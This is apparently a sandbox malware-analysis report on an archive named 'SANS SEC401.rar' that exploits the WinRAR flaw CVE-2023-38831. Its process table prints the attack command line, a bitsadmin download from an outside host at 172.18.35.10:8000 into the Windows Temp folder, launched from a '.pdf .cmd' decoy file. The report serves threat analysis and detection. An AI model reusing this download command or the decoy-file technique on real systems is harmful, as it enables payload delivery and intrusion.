| File name: | SANS SEC401.rar |
| Full analysis: | https://app.any.run/tasks/a32a5b30-4cd8-48cd-aa59-34ddf3736fe9 |
| Verdict: | Malicious activity |
| Analysis date: | June 24, 2024, 14:08:00 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract, compression method=store |
| MD5: | 1FBD3CA9FCFEA5AAC390EA38FF818CC9 |
| SHA1: | 04BB53BD8A264BE0B3EA10FFA1945EB6F5ECDA93 |
| SHA256: | D1A55BB98B750CE9B9D9610A857DDC408331B6AE6834C1CBCCCA4FD1C50C4FB8 |
| SSDEEP: | 768:tDUX2OpRDnVoegESWJDg8LUud1LRqh1cC8v3GIEBK8:t0DHDnVoe1SsDuh103YBf |
MALICIOUS
Downloads files via BITSADMIN.EXE
- cmd.exe (PID: 3412)
CVE-2023-38831 is detected
- WinRAR.exe (PID: 3260)
SUSPICIOUS
Starts CMD.EXE for commands execution
- WinRAR.exe (PID: 3260)
Executing commands from ".cmd" file
- WinRAR.exe (PID: 3260)
Reads security settings of Internet Explorer
- WinRAR.exe (PID: 3260)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | - |
| ZipCompression: | None |
| ZipModifyDate: | 2024:02:03 09:11:32 |
| ZipCRC: | 0x00000000 |
| ZipCompressedSize: | - |
| ZipUncompressedSize: | - |
| ZipFileName: | SANS SEC401.pdf / |
Total processes
42
Monitored processes
3
Malicious processes
1
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 3200 | bitsadmin /transfer Nothing /download /priority normal http://172.18.35.10:8000/amanwhogetsnorest.jpg C:\Windows\Temp\amanwhogetsnorest.jpg | C:\Windows\System32\bitsadmin.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3260 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\SANS SEC401.rar.zip" | C:\Program Files\WinRAR\WinRAR.exe | explorer.exe | ||||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.91.0 Modules
| |||||||||||||||
| 3412 | C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\Rar$DIa3260.42420\SANS SEC401.pdf .cmd" " | C:\Windows\System32\cmd.exe | — | WinRAR.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
3 952
Read events
3 922
Write events
30
Delete events
0
Modification events
| (PID) Process: | (3260) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (3260) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (3260) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3260) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 3 |
Value: C:\Users\admin\Desktop\phacker.zip | |||
| (PID) Process: | (3260) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 2 |
Value: C:\Users\admin\Desktop\Win7-KB3191566-x86.zip | |||
| (PID) Process: | (3260) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 1 |
Value: C:\Users\admin\Desktop\curl-8.5.0_1-win32-mingw.zip | |||
| (PID) Process: | (3260) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\SANS SEC401.rar.zip | |||
| (PID) Process: | (3260) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (3260) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (3260) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
Executable files
0
Suspicious files
0
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3260 | WinRAR.exe | C:\Users\admin\Desktop\SANS SEC401.pdf\SANS SEC401.pdf .cmd | text | |
MD5:74900DD2A29CD5EEBCC259F0265C8425 | SHA256:5790225B1BCFA692C57A0914DD78678CEEF6E212FBE7042B7DDF5A06FD4AB70D | |||
| 3260 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa3260.42420\SANS SEC401.pdf .cmd | text | |
MD5:74900DD2A29CD5EEBCC259F0265C8425 | SHA256:5790225B1BCFA692C57A0914DD78678CEEF6E212FBE7042B7DDF5A06FD4AB70D | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
11
DNS requests
1
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1372 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
2564 | svchost.exe | 239.255.255.250:3702 | — | — | — | whitelisted |
1060 | svchost.exe | 224.0.0.252:5355 | — | — | — | unknown |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2564 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
844 | svchost.exe | 172.18.35.10:8000 | — | — | — | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |